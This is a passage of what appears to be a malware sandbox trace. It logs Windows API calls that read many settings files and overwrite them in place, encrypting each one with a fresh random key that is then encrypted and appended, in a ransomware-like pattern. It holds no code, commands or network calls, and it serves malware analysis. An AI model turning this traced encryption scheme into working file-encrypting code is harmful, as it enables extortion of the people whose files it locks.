lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.120] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.120] CloseHandle (hObject=0x1c24) returned 1 [0195.122] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.123] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.123] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{875FE7D6-5BDF-496F-B349-91E5E3625B86}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.123] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x418, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x418, lpOverlapped=0x0) returned 1 [0195.131] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.131] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x418, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x418, lpOverlapped=0x0) returned 1 [0195.132] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x418 [0195.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.132] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.132] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.133] CloseHandle (hObject=0x1c24) returned 1 [0195.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.134] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{8562B9B8-812D-420C-9189-DC216D788A49}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.134] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3ba, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ba, lpOverlapped=0x0) returned 1 [0195.136] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-954, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.136] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3ba, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ba, lpOverlapped=0x0) returned 1 [0195.136] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ba [0195.136] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.136] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.136] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.136] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.137] CloseHandle (hObject=0x1c24) returned 1 [0195.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.138] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{84C9670E-825D-4128-B173-2963886C5A3E}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.138] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x40f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x40f, lpOverlapped=0x0) returned 1 [0195.140] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1039, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.140] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x40f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x40f, lpOverlapped=0x0) returned 1 [0195.140] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x40f [0195.140] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.140] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.140] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.141] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.141] CloseHandle (hObject=0x1c24) returned 1 [0195.142] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.142] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.142] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{821FB666-D307-4865-86BB-68725A30999C}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.143] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4b6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b6, lpOverlapped=0x0) returned 1 [0195.144] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1206, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.144] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4b6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b6, lpOverlapped=0x0) returned 1 [0195.144] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b6 [0195.144] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.144] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.145] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.145] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.145] CloseHandle (hObject=0x1c24) returned 1 [0195.151] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.151] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0195.151] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{80f3f1d5-feca-45f3-bc32-752c152e456e}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.151] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x373, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x373, lpOverlapped=0x0) returned 1 [0195.152] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-883, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.152] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x373, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x373, lpOverlapped=0x0) returned 1 [0195.153] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x373 [0195.153] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.153] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.153] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.153] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.154] CloseHandle (hObject=0x1c24) returned 1 [0195.155] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.155] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.155] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{8050502B-9B94-408C-BF49-D2D8887C1BCF}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.156] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3fc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3fc, lpOverlapped=0x0) returned 1 [0195.157] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1020, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.157] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3fc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3fc, lpOverlapped=0x0) returned 1 [0195.158] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3fc [0195.158] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.158] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.158] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.159] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.159] CloseHandle (hObject=0x1c24) returned 1 [0195.161] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0195.161] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.161] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{7F8B6C83-2A89-47A0-B334-AA58D042CDEC}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.161] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d7, lpOverlapped=0x0) returned 1 [0195.163] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-983, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.163] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d7, lpOverlapped=0x0) returned 1 [0195.163] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d7 [0195.163] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.163] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.164] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.164] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.164] CloseHandle (hObject=0x1c24) returned 1 [0195.166] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.166] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.166] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{7E5BC096-F558-419A-9326-BC6414D592C3}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.166] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3fe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3fe, lpOverlapped=0x0) returned 1 [0195.168] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1022, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.168] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3fe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3fe, lpOverlapped=0x0) returned 1 [0195.168] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3fe [0195.168] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.168] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.169] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.169] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.169] CloseHandle (hObject=0x1c24) returned 1 [0195.171] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.171] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.171] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{7DE6CF7C-B699-421B-A808-139E798E6C64}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.171] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x451, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x451, lpOverlapped=0x0) returned 1 [0195.172] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1105, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.172] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x451, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x451, lpOverlapped=0x0) returned 1 [0195.173] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x451 [0195.173] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.173] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.173] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.173] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.174] CloseHandle (hObject=0x1c24) returned 1 [0195.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0195.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.175] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{7D13A5DB-6081-48BD-8EA3-A9D7FE67A335}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.176] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3e3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e3, lpOverlapped=0x0) returned 1 [0195.177] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-995, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.177] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3e3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e3, lpOverlapped=0x0) returned 1 [0195.177] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e3 [0195.178] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.178] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.178] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.178] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.178] CloseHandle (hObject=0x1c24) returned 1 [0195.183] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0195.183] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.183] SetFileAttributesW 